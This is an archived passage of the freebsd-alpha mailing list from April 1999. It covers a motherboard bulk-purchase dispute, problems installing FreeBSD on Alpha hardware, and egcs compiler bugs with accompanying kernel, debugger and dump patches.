>  > a board to a FreeBSD user if they asked him for it.  I sincerely
>  > regret my indiscretion and apologize to all who may have been offended
>  > by it.
> 
> No, I didn't say that...
> 

I have no trouble believing that Jason didn't say that -- he's not an idiot,
and he's not a liar, and that's not what I said to him, so I have no problem
believing that it's not what he said to you.

Considering the bizarre and suspicious email I've gotten from all kinds of
people -- all FreeBSD/alpha types AFAICT -- seemingly angry with me because
I didn't *personally* respond to them in under a day while I was being
swamped with orders I didn't know if I could handle or not from people on
a mailing-list I didn't send the original email to (among other reasons,
because I didn't know if I could get enough boards), I have no trouble
believing that whatever Jason actually said is being misrepresented.

The situation is as I said in my email responding to Jordan  -- which I sent
a copy of to this list! -- I am trying to find out how many boards I can
get, and at exactly what price, and I will fill orders until I am out of
boards.

Most of the NetBSD developers who have asked for boards are my personal
friends and I'm going to make sure that (within reason) I fill their orders.
They also, coincidentally, ordered *first*, since they actually read the
mailing list I sent the original email to, as opposed to the one it was
forwarded to by someone else.

I'll gladly fill other orders after I've done that.  *Right now* I don't 
anticipate running out of boards, but I really don't know and I haven't had 
time to finish negotiating with the vendor because I'm getting barraged with
email, much of it demanding an immediate response.

When the boards are shipped, whatever (very small, I expect) amount of money
is left after I take out to cover my adminstrative expenses will be donated
to The NetBSD Foundation.  I've intended to do that all along.  If you have
a problem with _that_, all I can say to you is "who's the OS bigot now?"

Okay?  Will you all stop spreading these preposterous rumors already?

Like I'm doing all this to "get" somebody.  Really.  Sure.  Right.  Like I
have time for that kind of nonsense.  If you had any idea how much of my
time (and money, I might add -- I have to pay for the boards in *cash*)
this is taking up, I think you'd quickly discard that idea.

Man.  You try to do someone(s) a favor, and...

Thor


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I'm sorry this turned into that kind of experience for you and I can
certainly say that, at least speaking for myself, your willingness to
deal with this at all is much appreciated.  By all means, take care of
your priority customers first - it's no more or less than I would do
if I were in your position - and if there are any left over afterwards
then the rest of us can bloody well stand in line for them.

I'm personally sick of OS bigotry after over 6 years of dealing with
it and am now doing my best to promote all the FREENIX OSes, up to and
including Linux where such is appropriate, and you can ask Herb or the
Debian people if you want a second opinion on the veracity of that
statement.  OS wars just give me heartburn and I already have enough
of that from eating spicy food as it is.

- Jordan


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I am trying to install FreeBSD on a computer based on a
164SX board, with a 533MHz 21164PC CPU.

I am upgrading this computer from Windows NT, where everything
worked all right, so I don't suspect my problems are related to defects in the
hardware.

The kernel on the boot disk does not detect the IDE controller on the
motherboard, which is a Cypress 82C693 multifunction chip.

This means that I cannot install FreeBSD.

My other option is to move an Adaptec 2940 U2W controller to the Alpha box,
but I have doubts as to whether the SRM console can boot from this or not.

Can anyone help me with this problem?  (Updated boot disk, maybe?)

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Hi.

Yes - that is a problem.  SRM doesn't work with the Adaptec cards - I
think you'll have to use a Symbiosis or other board that's supported by 
both the OS and the firmware...


Scot.

On Thu, 15 Apr 1999 erik@habatech.no wrote:

> I am trying to install FreeBSD on a computer based on a
> 164SX board, with a 533MHz 21164PC CPU.
> 
> I am upgrading this computer from Windows NT, where everything
> worked all right, so I don't suspect my problems are related to defects in the
> hardware.
> 
> The kernel on the boot disk does not detect the IDE controller on the
> motherboard, which is a Cypress 82C693 multifunction chip.
> 
> This means that I cannot install FreeBSD.
> 
> My other option is to move an Adaptec 2940 U2W controller to the Alpha box,
> but I have doubts as to whether the SRM console can boot from this or not.
> 
> Can anyone help me with this problem?  (Updated boot disk, maybe?)
> 
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On 15-Apr-99 Scot Elliott wrote:
> Hi.
> 
> Yes - that is a problem.  SRM doesn't work with the Adaptec cards - I
> think you'll have to use a Symbiosis or other board that's supported by 
> both the OS and the firmware...
> 
Hmmm... Does this mean that the Cypress controller is not supported by
FreeBSD-current?

According to the SRM Console manual, the only SCSI adapters that are
supported are the NCR810 and QLogic ISP1020.  Neither of these are particularly
easy to get hold of in Norway. :(

Are any PCI or ISA IDE controllers supported at all by FreeBSD-Alpha?
If so, I could probably boot off one of these.


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Yes - my mistake - QLogic is what I meant rather than Symbiosis - sorry.
I haven't yet installed FreeBSD on my Alpha, but I suspect that if I did,
then I'd try to arrange a boot from a small IDE drive, but use the Adaptec
card once the kernel was loaded.


Scot.


On Thu, 15 Apr 1999 erik@habatech.no wrote:

> 
> On 15-Apr-99 Scot Elliott wrote:
> > Hi.
> > 
> > Yes - that is a problem.  SRM doesn't work with the Adaptec cards - I
> > think you'll have to use a Symbiosis or other board that's supported by 
> > both the OS and the firmware...
> > 
> Hmmm... Does this mean that the Cypress controller is not supported by
> FreeBSD-current?
> 
> According to the SRM Console manual, the only SCSI adapters that are
> supported are the NCR810 and QLogic ISP1020.  Neither of these are particularly
> easy to get hold of in Norway. :(
> 
> Are any PCI or ISA IDE controllers supported at all by FreeBSD-Alpha?
> If so, I could probably boot off one of these.
> 
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On 15-Apr-99 Scot Elliott wrote:
> Yes - my mistake - QLogic is what I meant rather than Symbiosis - sorry.
> I haven't yet installed FreeBSD on my Alpha, but I suspect that if I did,
> then I'd try to arrange a boot from a small IDE drive, but use the Adaptec
> card once the kernel was loaded.
> 
This sounds like a good idea.  Now I just have to figure out how to do it.
Probably a great step closer to a working solution, now.
But I am always open for input from users who actually installed FreeBSD on
such a system.

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Gary Palmer writes:
 > 
 > Ignore the previous problem I posted where buildworld was seeing
 > coredumps. Seems that I had a bad kernel build. A new kernel has fixed
 > the problem. Now running on an egcs world & kernel without noticable
 > problems.

You may want to test any backups you've made with an EGCS built dump.

For me, an egcs built dump seems to produce corrupt dumps.  Building the 
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Can I use an Intense 3D VooDoo 6 MB card with my 21164 alpha and FreeBSD ?

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At Tue, 13 Apr 1999 20:18:09 +0100 (BST),
Doug Rabson <dfr@nlsystems.com> wrote:
> The backtrace code in DDB is somewhat fragile. It has to parse the
> function prologue to figure out where the return address is. I expect egcs
> has changed the prologue.  GDB does something similar; hopefully it will
> be fixed in gdb-4.18.

Thanks for the hint. The prologue has changed. Egcs uses 'subq/addq' to
manipulate stack pointer instead of 'lda'. I made an adhoc fix for
DDB/GDB. Don't you mind my commiting this DDB fix to the tree?
(warning supression included)

Index: db_trace.c
===================================================================
RCS file: /pub/FreeBSD-CVS/src/sys/alpha/alpha/db_trace.c,v
retrieving revision 1.2
diff -u -r1.2 db_trace.c
--- db_trace.c	1998/06/27 15:37:42	1.2
+++ db_trace.c	1999/04/15 06:05:07
@@ -25,12 +25,9 @@
 static void
 parse_proc(db_expr_t addr, struct alpha_proc* frame)
 {
-	db_sym_t sym;
+	c_db_sym_t sym;
 	db_expr_t func;
 	db_expr_t junk, pc, limit;
-	int frame_size;
-	int reg_mask;
-	int got_frame;
 
 	frame->pcreg = -1;
 	frame->reg_mask = 0;
@@ -50,7 +47,13 @@
 		ins.bits = *(u_int32_t*) pc;
 		if (ins.memory_format.opcode == op_lda
 		    && ins.memory_format.ra == 30) {
+			/* gcc 2.7 */
 			frame->frame_size += -ins.memory_format.offset;
+		} else if (ins.operate_lit_format.opcode == op_arit
+		    && ins.operate_lit_format.function == op_subq
+		    && ins.operate_lit_format.rs == 30) {
+		    	/* egcs */
+			frame->frame_size += ins.operate_lit_format.literal;
 		} else if (ins.memory_format.opcode == op_stq
 			   && ins.memory_format.rb == 30
 			   && ins.memory_format.ra != 31) {
@@ -66,7 +69,6 @@
 void
 db_stack_trace_cmd(db_expr_t addr, boolean_t have_addr, db_expr_t count, char *modif)
 {
-	struct alpha_proc proc;
 	db_addr_t callpc;
 	db_addr_t frame;
 
@@ -82,10 +84,9 @@
 	}
 
 	while (count--) {
-		u_int64_t *actframe;
-		char *	name;
+		const char *	name;
 		db_expr_t	offset;
-		db_sym_t	sym;
+		c_db_sym_t	sym;
 		struct alpha_proc proc;
 
 		sym = db_search_symbol(callpc, DB_STGY_ANY, &offset);


Here is a gdb fix.

--- alpha-tdep.c.orig	Thu Apr  8 21:24:45 1999
+++ alpha-tdep.c	Fri Apr 16 00:44:29 1999
@@ -502,6 +502,10 @@
 		 epilogue is reached.  */
 	      break;
 	  }
+	else if ((word & 0xfff00fff) == 0x43c0053e)	/* subq $sp,n,$sp */
+	  {
+	      frame_size += word & 0xff;
+	  }
 	else if ((word & 0xfc1f0000) == 0xb41e0000	/* stq reg,n($sp) */
 		 && (word & 0xffff0000) != 0xb7fe0000)	/* reg != $zero */
 	  {


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No.  It shouldn't cause any problems if it's plugged into a slot, but you
won't gain anything from it, leave it in one of your x86 boxes.  The linux
glide libraries that are used under linux emulation for accelerated 3D are
have not been ported to the alpha platform.

On Thu, 15 Apr 1999, Koscielny, Wally wrote:

> Can I use an Intense 3D VooDoo 6 MB card with my 21164 alpha and FreeBSD ?
> 
> Thanks,
> WK
> 
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wonder of wonders, last night's buildworld went all the way through on
alpha. Can I take this to mean that it's safe to do an installworld?




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> 
> wonder of wonders, last night's buildworld went all the way through on
> alpha. Can I take this to mean that it's safe to do an installworld?

Dunno.  The last snapshot I installed (yesterday) has broken NFS.  You 
might want to keep an old kernel lying around at least. 8)

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> > 
> > wonder of wonders, last night's buildworld went all the way through on
> > alpha. Can I take this to mean that it's safe to do an installworld?
> 
> Dunno.  The last snapshot I installed (yesterday) has broken NFS.  You 
> might want to keep an old kernel lying around at least. 8)
> 

Yes- but with Matt Dillon's two micro patches (reproduced below) things
seem happier. Clearly the buildworld wouldn't have worked because the
source is actually on my SS1000.

It was more a question of can I now give  up the gcc2.7.2.1 compiler and
expect to keep being able to work on the Fibre Channel driver (a daily
ritual).



-matt

Index: vm_page.c
===================================================================
RCS file: /home/ncvs/src/sys/vm/vm_page.c,v
retrieving revision 1.129
diff -u -r1.129 vm_page.c
--- vm_page.c	1999/04/05 19:38:29	1.129
+++ vm_page.c	1999/04/15 18:27:08
@@ -1491,11 +1491,13 @@
 	if ((frag = base & ~(DEV_BSIZE - 1)) != base &&
 	    (m->valid & (1 << (base >> DEV_BSHIFT))) == 0
 	) {
+#if 0
 		pmap_zero_page_area(
 		    VM_PAGE_TO_PHYS(m),
 		    frag,
 		    base - frag
 		);
+#endif
 	}
 
 	/*
@@ -1509,11 +1511,13 @@
 	if ((frag = endoff & ~(DEV_BSIZE - 1)) != endoff &&
 	    (m->valid & (1 << (endoff >> DEV_BSHIFT))) == 0
 	) {
+#if 0
 		pmap_zero_page_area(
 		    VM_PAGE_TO_PHYS(m),
 		    endoff,
 		    DEV_BSIZE - (endoff & (DEV_BSIZE - 1))
 		);
+#endif
 	}
 
 	/*
@@ -1576,11 +1580,13 @@
 		    (m->valid & (1 << i))
 		) {
 			if (i > b) {
+#if	0
 				pmap_zero_page_area(
 				    VM_PAGE_TO_PHYS(m), 
 				    b << DEV_BSHIFT,
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 				);
+#endif
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erik@habatech.no wrote...
> 
> On 15-Apr-99 Scot Elliott wrote:
> > Yes - my mistake - QLogic is what I meant rather than Symbiosis - sorry.
> > I haven't yet installed FreeBSD on my Alpha, but I suspect that if I did,
> > then I'd try to arrange a boot from a small IDE drive, but use the Adaptec
> > card once the kernel was loaded.
> > 
> This sounds like a good idea.  Now I just have to figure out how to do it.
> Probably a great step closer to a working solution, now.
> But I am always open for input from users who actually installed FreeBSD on
> such a system.

Just as a warning -- I don't think the Adaptec driver is functional on the
Alpha yet.  Justin has put a 7891 board in the Alpha in my office, and
intends to get the driver working, but he hasn't gotten around to it yet.

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On Thu, 15 Apr 1999, Kenneth D. Merry wrote:

> erik@habatech.no wrote...
> > 
> > On 15-Apr-99 Scot Elliott wrote:
> > > Yes - my mistake - QLogic is what I meant rather than Symbiosis - sorry.
> > > I haven't yet installed FreeBSD on my Alpha, but I suspect that if I did,
> > > then I'd try to arrange a boot from a small IDE drive, but use the Adaptec
> > > card once the kernel was loaded.
> > > 
> > This sounds like a good idea.  Now I just have to figure out how to do it.
> > Probably a great step closer to a working solution, now.
> > But I am always open for input from users who actually installed FreeBSD on
> > such a system.
> 
> Just as a warning -- I don't think the Adaptec driver is functional on the
> Alpha yet.  Justin has put a 7891 board in the Alpha in my office, and
> intends to get the driver working, but he hasn't gotten around to it yet.

Ken, I tought the Adaptec problem was because the SRM console didn't
grok the Adaptec, not because the FreeBSD kernel didn't.  Could you give
a few words on that?

Thanks


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Matthew Jacob writes:
 > It was more a question of can I now give  up the gcc2.7.2.1 compiler and
 > expect to keep being able to work on the Fibre Channel driver (a daily
 > ritual).

The only problem I've seen that could be a show-stopper for you is the
fact that /sbin/dump produces corrupt dumps when built with egcs.  You
might want to keep a dump binary laying around.

I'm not working on this (my plate it far too full right now) and I'd
very much appreciate it if somebody could look into it..

Drew

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Chuck Robey wrote...
> On Thu, 15 Apr 1999, Kenneth D. Merry wrote:
> 
> > erik@habatech.no wrote...
> > > 
> > > On 15-Apr-99 Scot Elliott wrote:
> > > > Yes - my mistake - QLogic is what I meant rather than Symbiosis - sorry.
> > > > I haven't yet installed FreeBSD on my Alpha, but I suspect that if I did,
> > > > then I'd try to arrange a boot from a small IDE drive, but use the Adaptec
> > > > card once the kernel was loaded.
> > > > 
> > > This sounds like a good idea.  Now I just have to figure out how to do it.
> > > Probably a great step closer to a working solution, now.
> > > But I am always open for input from users who actually installed FreeBSD on
> > > such a system.
> > 
> > Just as a warning -- I don't think the Adaptec driver is functional on the
> > Alpha yet.  Justin has put a 7891 board in the Alpha in my office, and
> > intends to get the driver working, but he hasn't gotten around to it yet.
> 
> Ken, I tought the Adaptec problem was because the SRM console didn't
> grok the Adaptec, not because the FreeBSD kernel didn't.  Could you give
> a few words on that?

There are two different issues here:

1.  SRM doesn't understand Adaptec boards.  This means that your boot disk
    can't be on an Adaptec controller.

2.  FreeBSD's Adaptec driver hasn't yet been made to work on the Alpha.  I
    think this is probably a bus_dma/bus_space type problem.  Justin fully
    understands the issues, and has intended to make the driver work on
    Alphas, but just hasn't gotten around to it.  Until he does, you won't
    be able to configure the Adaptec driver in your kernel and have it talk
    to an Adaptec board.

Once Justin fixes the Adaptec driver to work on alpha boxes, you'll be able
to put Adaptec controllers in your Alpha machines.  You can't, however,
boot off an Adaptec board since SRM doesn't talk to them.

One odd thing that happened when we stuck the 7891 (it's a 64-bit board)
board in the Miata was that SRM wouldn't load while the board was in a
64-bit slot on the primary PCI bus.  It gave some error about an
unrecognized SCSI controller or something along those lines.  It did work
when we moved the board onto the secondary, 32-bit PCI bus.

Ken
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	scot@london.virgin.net, freebsd-alpha@FreeBSD.ORG
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Kenneth D. Merry writes:
 > 
 > One odd thing that happened when we stuck the 7891 (it's a 64-bit board)
 > board in the Miata was that SRM wouldn't load while the board was in a
 > 64-bit slot on the primary PCI bus.  It gave some error about an
 > unrecognized SCSI controller or something along those lines.  It did work
 > when we moved the board onto the secondary, 32-bit PCI bus.

Congratulations, you have an old, broken-pyxis Miata which has the dma 
bug (you can't do a dma read across an 8k page boundary).

The 64-bit slots are directly on the primary PCI bus, the 32-bit slots
are behind a PPB which breaks up dma transactions so that they don't
cross page boundaries.  On machines with the DMA bug, the SRM console
has been hacked to prevent users from putting boards into the 64-bit
slots which might trigger the bug (eg, anything that they're not
certain WON'T trigger the bug).  If a cam driver won't trigger this
bug, and you want to put the card in a 64-bit slot (and you may want,
if you have a 21052 ppb) you can turn this feature off on a per-card
basis by using 'set pci_device_override <dev_id><vendor_id>' at the
srm console prompt (before moving the board).

Cheers,

Drew

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From owner-freebsd-alpha  Thu Apr 15 12:51:29 1999
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On Fri, 16 Apr 1999, Hidetoshi Shimokawa wrote:

> At Tue, 13 Apr 1999 20:18:09 +0100 (BST),
> Doug Rabson <dfr@nlsystems.com> wrote:
> > The backtrace code in DDB is somewhat fragile. It has to parse the
> > function prologue to figure out where the return address is. I expect egcs
> > has changed the prologue.  GDB does something similar; hopefully it will
> > be fixed in gdb-4.18.
> 
> Thanks for the hint. The prologue has changed. Egcs uses 'subq/addq' to
> manipulate stack pointer instead of 'lda'. I made an adhoc fix for
> DDB/GDB. Don't you mind my commiting this DDB fix to the tree?
> (warning supression included)

The patch looks correct, please go ahead and commit it. Thanks for
spending the time - most of my time is being used up by the new-bus
project right now.

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Oh... But it should work for X windows right ? I basically want to make a
nice personal FreeBSD workstation which will also be a web/ftp server. 

Thanks,
WK


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> 
> No.  It shouldn't cause any problems if it's plugged into a slot, but you
> won't gain anything from it, leave it in one of your x86 boxes.  The linux
> glide libraries that are used under linux emulation for accelerated 3D are
> have not been ported to the alpha platform.
> 
> On Thu, 15 Apr 1999, Koscielny, Wally wrote:
> 
> > Can I use an Intense 3D VooDoo 6 MB card with my 21164 alpha and FreeBSD
> ?
> > 
> > Thanks,
> > WK
> > 
> > 
> > 
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> Oh... But it should work for X windows right ? I basically want to make a

Not yet, no.

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> 
> Matthew Jacob writes:
>  > It was more a question of can I now give  up the gcc2.7.2.1 compiler and
>  > expect to keep being able to work on the Fibre Channel driver (a daily
>  > ritual).
> 
> The only problem I've seen that could be a show-stopper for you is the
> fact that /sbin/dump produces corrupt dumps when built with egcs.  You
> might want to keep a dump binary laying around.
> 
> I'm not working on this (my plate it far too full right now) and I'd
> very much appreciate it if somebody could look into it..

My compiler chops are about 17 years old- I've done little more than
build gcc over the last decade and don't know the internals.. but here's
the line that's a culprit and a temp fix (at least based upon trivial
tests- the output records were garbage and this seems to correct that)...

Who owns the toolchain?

Index: tape.c
===================================================================
RCS file: /home/ncvs/src/sbin/dump/tape.c,v
retrieving revision 1.10
diff -u -r1.10 tape.c
--- tape.c	1998/09/15 10:25:50	1.10
+++ tape.c	1999/04/16 17:51:20
@@ -174,7 +174,11 @@
 
 	slp->req[trecno].dblk = (daddr_t)0;
 	slp->req[trecno].count = 1;
+#if 0
 	*(union u_spcl *)(*(nextblock)++) = *(union u_spcl *)dp;
+#else
+	bcopy(dp, *(nextblock)++, sizeof (union u_spcl));
+#endif
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 		lastspclrec = spcl.c_tapea;
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From owner-freebsd-alpha  Fri Apr 16 11: 5:14 1999
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Ok, I have an Alpha 200 4/233 with 112meg RAM and a 4gig SCSI drive and a
CDROM. I would like to install FreeBSD on it. Can someone PLEASE point me
to some consice and ACCURATE installation instructions. I have both ARC and
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install, and how do I dial when doing an ftp install.....

I have FreeBSD running fine on my Intel box, and would like to get hte
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Matthew Jacob writes:

 > > The only problem I've seen that could be a show-stopper for you is the
 > > fact that /sbin/dump produces corrupt dumps when built with egcs.  You
 > > might want to keep a dump binary laying around.
 > > 
 > > I'm not working on this (my plate it far too full right now) and I'd
 > > very much appreciate it if somebody could look into it..
 > 
 > My compiler chops are about 17 years old- I've done little more than
 > build gcc over the last decade and don't know the internals.. but here's
 > the line that's a culprit and a temp fix (at least based upon trivial
 > tests- the output records were garbage and this seems to correct that)...

Excellent!  Thanks for finding this!

 > Who owns the toolchain?

David O'Brien -- I'm CC'ing this to him.

 > Index: tape.c
 > ===================================================================
 > RCS file: /home/ncvs/src/sbin/dump/tape.c,v
 > retrieving revision 1.10
 > diff -u -r1.10 tape.c
 > --- tape.c	1998/09/15 10:25:50	1.10
 > +++ tape.c	1999/04/16 17:51:20
 > @@ -174,7 +174,11 @@
 >  
 >  	slp->req[trecno].dblk = (daddr_t)0;
 >  	slp->req[trecno].count = 1;
 > +#if 0
 >  	*(union u_spcl *)(*(nextblock)++) = *(union u_spcl *)dp;
 > +#else
 > +	bcopy(dp, *(nextblock)++, sizeof (union u_spcl));
 > +#endif
 >  	if (isspcl)
 >  		lastspclrec = spcl.c_tapea;
 >  	trecno++;
 > 

Cheers,

Drew

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From owner-freebsd-alpha  Fri Apr 16 13:57:38 1999
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Hi, I originally posted this message to the questions mailing list, but 
got no response, so I am guessing that it is better suited for this 
catagory.  I hope to get an answer, cuz this has been so frustrating for 
me. An any case, here was my original message:

	I am having a big problem that I have been working on for 2 
weeks.  I am sure there is an easy solution, I am just not as Unix smart 
as some of you.  I have an AlphaStation 200 that I am trying to install 
FreeBSD on with the alpha release on the 3.1 cdrom (i'm installing from 
cdrom).  I boot with the kern.flp and mfsboot.flp(?) and everything goes 
okay so far. The installation menu comes up and I choose the beginners 
installation and proceed.  Basically, in the whole installation process, 
I am never given an opportunity to choose how I want to boot from my hard 
drive.  Towards the end of the installation I get a message that says 
something like: kernel copied okay, but unable to save boot -c changes. 
(or something to that effect).  So, at this point the installation 
appears to be done, but for some reason I am taken back to the 
installation menu.  I then reboot and enter 'boot dka0' to boot from the 
hard drive.  Now, I had OpenBSD on this machine before FreeBSD, and when 
I now try to boot from my hard drive, it still tries to boot OpenBSD (but 
errors out).  Apparently, during the FreeBSD installation nothing was 
changed on the master boot record (i am guessing).  So anyways, I then 
boot with the fixit disk and take a look at the hard drive, and 
everything for FreeBSD appears to be there - as if it installed correctly.
SOOO... my problem is: Why can't I boot into FreeBSD? What can I do to 
fix this?
I'm sorry this email is so long, but this has been frustrating and I 
wanted to give you guys as much information as possible.  Thanks a bunch, 
and I really hope you guys can help me.
PS. The whole installation process for me from cdrom didn't really fall in 
line with what the instructions say it should be.  THANKS GUYS
I will be crossing my fingers :)

       Philip Rust  |  rust@seas.smu.edu   \/_/




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> -----Original Message-----
> From: Andrew Gallatin [mailto:gallatin@cs.duke.edu]
> Sent: 16 April 1999 19:13
> To: mjacob@feral.com
> Cc: David O'Brien; Mike Smith; alpha@FreeBSD.ORG
> Subject: Re: egcs ready for alpha? 
> 
> 
> 
> Matthew Jacob writes:
> 
>  > > The only problem I've seen that could be a show-stopper 
> for you is the
>  > > fact that /sbin/dump produces corrupt dumps when built 
> with egcs.  You
>  > > might want to keep a dump binary laying around.
>  > > 
>  > > I'm not working on this (my plate it far too full right 
> now) and I'd
>  > > very much appreciate it if somebody could look into it..
>  > 
>  > My compiler chops are about 17 years old- I've done little 
> more than
>  > build gcc over the last decade and don't know the 
> internals.. but here's
>  > the line that's a culprit and a temp fix (at least based 
> upon trivial
>  > tests- the output records were garbage and this seems to 
> correct that)...
> 
> Excellent!  Thanks for finding this!
> 
>  > Who owns the toolchain?
> 
> David O'Brien -- I'm CC'ing this to him.
> 
>  > Index: tape.c
>  > ===================================================================
>  > RCS file: /home/ncvs/src/sbin/dump/tape.c,v
>  > retrieving revision 1.10
>  > diff -u -r1.10 tape.c
>  > --- tape.c	1998/09/15 10:25:50	1.10
>  > +++ tape.c	1999/04/16 17:51:20
>  > @@ -174,7 +174,11 @@
>  >  
>  >  	slp->req[trecno].dblk = (daddr_t)0;
>  >  	slp->req[trecno].count = 1;
>  > +#if 0
>  >  	*(union u_spcl *)(*(nextblock)++) = *(union u_spcl *)dp;
>  > +#else
>  > +	bcopy(dp, *(nextblock)++, sizeof (union u_spcl));
>  > +#endif
>  >  	if (isspcl)
>  >  		lastspclrec = spcl.c_tapea;
>  >  	trecno++;
>  > 

Hmm, I wonder how many more of these there are in the tree.

I've noticed that cu is no longer working. I was using it to connect to my
Multia across the serial port but I think since egcs the keyboard no longer
works. Haven't had a chance to track it down yet, tip still works though.

Paul.


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> >  > +#if 0
> >  >  	*(union u_spcl *)(*(nextblock)++) = *(union u_spcl *)dp;

It might be better to remove the cast of nextblock and dp and see what
warnings EGCS gives.  The ficl and vinum code had weird union casts that
had to be reworked for egcs.  In the above, I bet there is an alignment
issue wth EGCS using a different alightment rule than gcc did.

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> > >  > +#if 0
> > >  >  	*(union u_spcl *)(*(nextblock)++) = *(union u_spcl *)dp;
> 
> It might be better to remove the cast of nextblock and dp and see what
> warnings EGCS gives.  The ficl and vinum code had weird union casts that
> had to be reworked for egcs.  In the above, I bet there is an alignment
> issue wth EGCS using a different alightment rule than gcc did.

You might be right. I'll try it. In general, where would you like to see
EGCS related issues- as PR's?





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> You might be right. I'll try it. In general, where would you like to see
> EGCS related issues- as PR's?

You can email them to me directly if you don't want to commit them
yourself (or if you can't commit).  But please clearly let me know that
something should be commited and isn't just in the discussion phase.
 
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On Fri, 16 Apr 1999, William wrote:

> Ok, I have an Alpha 200 4/233 with 112meg RAM and a 4gig SCSI drive and a
> CDROM. I would like to install FreeBSD on it. Can someone PLEASE point me
> to some consice and ACCURATE installation instructions. I have both ARC and
> SRM consols, so I can use either....I know I will need to do an ftp
> install, and how do I dial when doing an ftp install.....
> 
> I have FreeBSD running fine on my Intel box, and would like to get hte
> alpha running too....


You can try my webpage http://www.mainstreettech.com/mturpin/index.html

(You have to type the index.html or M$ IIS does weird things)

It should tell you how to get the install floppies started..   It's a
little bit Multia/UDB oriented but it should get you headed in the right
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Mark 


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On Thu, Apr 15, 1999 at 02:15:37AM -0400, Thor Lancelot Simon wrote:
> 
> I've arranged to make a bulk purchase of Digital AlphaPC164 motherboards,
> with 500MHz processors.  I can make these available to NetBSD users or
> developers at a price somewhere between $175 and $200 each, plus shipping.
> 
[...]
> all orders -- so if you send me email by Friday with how many you want, I'll

Okay, it's Friday evening, and I have to give the vendor a final quantity to
get a price.  I'm closing the offer -- any orders I haven't received yet, I
won't allocate boards to.

I'll send everyone email with a price and request for confirmation on Monday;
if you ordered a board, but haven't received my next message by Tuesday night,
you should contact me to follow up.  A few people have requested that I call
them, and I'll do that sometime Monday.

As far as I know we're within 10% of the total number of boards the vendor
can supply, so I *have* to close the offer but I believe everyone will get
all the boards they wanted.

I need to re-emphasize two points:

	1)	You need to *prepay*.  When I receive your payment, I'll
		move your order from my "confirmed" list to my "can ship
		out" list.  I reserve the right to not ship until checks
		clear, at my discretion.  I'm looking at an X * $10K
		cash-flow problem without prepayment, so you can, I think,
		see my motive here -- I don't have that kind of pocket
		change! :-)

	2)	There is *NO WARRANTY* and *NO GUARANTEE*.  I will
		possibly replace DOA boards, but I expect, based on vendor
		failure rates, possibly 1 or 2 of these in the whole order;
		even that would be a surprise.  If I get too many "DOA"
		claims I'll have to conclude that boards are being blown
		up with static and stop replacing before I run out of
		stock to replace from!  Take all proper ESD precautions!

Also, there are a few questions I should answer:


	1)	Yes, heatsink and fan are included.

	2)	36-bit "true parity" memory is required.  I don't know if
		it's all got to be *exactly* the same, but all SIMMs
		must be of the same size.  More news on 64MB modules:
		They can't be the enormous, 30-odd chip modules made of
		4Mb parts, modules made of higher-density parts should work.

	3) 	You can find the motherboard manual at:

http://ftp.digital.com/pub/Digital/info/semiconductor/literature/pc164trm.pdf

		(Thanks, Laine!)

That's all, folks!

Thor


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Hi guys... I am selling my ALPHA computer :
I would try to sell it around $1500. I bought it at 2000 without screen
less than a year ago.
It comes from DCG, that is, a DIGITAL resseller.
It has 1MB 2nd Level Synchrounous SRAMS Cache, 7.5ns
64mb ram, SDRAM (2x32mb sdram, 10ns)
4.5GB Seagate ST3455N, 9ns, 7200rpms ultranarrow
NCR 65c860 Ultranarrow SCSI PCI Controller
32x pionneer IDE CD-Rom drive
#9 Vision FX 330 2mb Dram PCI Trio 764
10/100Mbit PCI ETHERNET
keyboard - mouse - manuals - cables
15" PackardBell screen.
I'm flexible on the prices and the options (like if you want I can put a
Diamond Monster Fusion (3dFX) ...)
If you are interrested and want to know more, just tell me as soon as
possible. (I am going to put it in auction)
The reason why I am selling it is because I'm going to university and I
don't think there will be enough room to put more than to computers.
It is in a perfect shape, can run a large variety of OSs from linux to win
nt and I sell it with REDHAT and a license for WIN NT Workstation.
I also can provide distributions of NETBSD or FREEBSD  .

FreD.

if you are interrested, tell me so A S A P because I am going to auction it
next week.

-----Message d'origine-----
De : Thor Lancelot Simon <tls@rek.tjls.com>
À : netbsd-advocacy@netbsd.org <netbsd-advocacy@netbsd.org>;
current-users@netbsd.org <current-users@netbsd.org>; port-alpha@netbsd.org
<port-alpha@netbsd.org>; netbsd-users@netbsd.org <netbsd-users@netbsd.org>;
freebsd-alpha@freebsd.org <freebsd-alpha@freebsd.org>
Date : vendredi 16 avril 1999 19:06
Objet : PC164 Alpha motherboard offer closed


>On Thu, Apr 15, 1999 at 02:15:37AM -0400, Thor Lancelot Simon wrote:
>>
>> I've arranged to make a bulk purchase of Digital AlphaPC164 motherboards,
>> with 500MHz processors.  I can make these available to NetBSD users or
>> developers at a price somewhere between $175 and $200 each, plus
shipping.
>>
>[...]
>> all orders -- so if you send me email by Friday with how many you want,
I'll
>
>Okay, it's Friday evening, and I have to give the vendor a final quantity
to
>get a price.  I'm closing the offer -- any orders I haven't received yet, I
>won't allocate boards to.
>
>I'll send everyone email with a price and request for confirmation on
Monday;
>if you ordered a board, but haven't received my next message by Tuesday
night,
>you should contact me to follow up.  A few people have requested that I
call
>them, and I'll do that sometime Monday.
>
>As far as I know we're within 10% of the total number of boards the vendor
>can supply, so I *have* to close the offer but I believe everyone will get
>all the boards they wanted.
>
>I need to re-emphasize two points:
>
> 1) You need to *prepay*.  When I receive your payment, I'll
> move your order from my "confirmed" list to my "can ship
> out" list.  I reserve the right to not ship until checks
> clear, at my discretion.  I'm looking at an X * $10K
> cash-flow problem without prepayment, so you can, I think,
> see my motive here -- I don't have that kind of pocket
> change! :-)
>
> 2) There is *NO WARRANTY* and *NO GUARANTEE*.  I will
> possibly replace DOA boards, but I expect, based on vendor
> failure rates, possibly 1 or 2 of these in the whole order;
> even that would be a surprise.  If I get too many "DOA"
> claims I'll have to conclude that boards are being blown
> up with static and stop replacing before I run out of
> stock to replace from!  Take all proper ESD precautions!
>
>Also, there are a few questions I should answer:
>
>
> 1) Yes, heatsink and fan are included.
>
> 2) 36-bit "true parity" memory is required.  I don't know if
> it's all got to be *exactly* the same, but all SIMMs
> must be of the same size.  More news on 64MB modules:
> They can't be the enormous, 30-odd chip modules made of
> 4Mb parts, modules made of higher-density parts should work.
>
> 3) You can find the motherboard manual at:
>
>http://ftp.digital.com/pub/Digital/info/semiconductor/literature/pc164trm.p
df
>
> (Thanks, Laine!)
>
>That's all, folks!
>
>Thor
>



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David,

I finished my first pass through building a ports collection for
Alpha and was reviewing the logs and noticed a number of places
where ports were failing to build with an error like:

.../function.c:2392: Internal compiler error in function fixup_memory_subreg

I attached a log of one example, the Xaw3d port.  I tried building
with -O, -O2, -Os, and without any optimization.  They all failed
except for when optimization was turned off.  The log is a 'gcc -v'
